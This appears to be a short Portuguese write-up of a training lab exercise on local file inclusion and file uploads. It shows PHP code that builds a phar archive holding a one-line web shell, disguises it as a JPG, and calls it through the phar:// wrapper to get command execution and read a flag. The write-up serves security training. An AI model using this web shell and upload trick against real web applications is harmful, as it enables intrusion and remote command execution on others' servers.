LFI & Uploads - 1

  1. Use qualquer uma das técnicas abordadas nesta seção para obter RCE e ler a bandeira em /

  • Vamos usar o wrapper phar para o nosso shell

<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();
  • Este script pode ser compilado em um phararquivo que, quando chamado, escreveria um web shell em um shell.txtsubarquivo, com o qual podemos interagir. Podemos compilá-lo em um phararquivo e renomeá-lo shell.jpgcomo segue:

  • Depois de fazer upload dele para o aplicativo web, podemos simplesmente chamá-lo com phar://

Last updated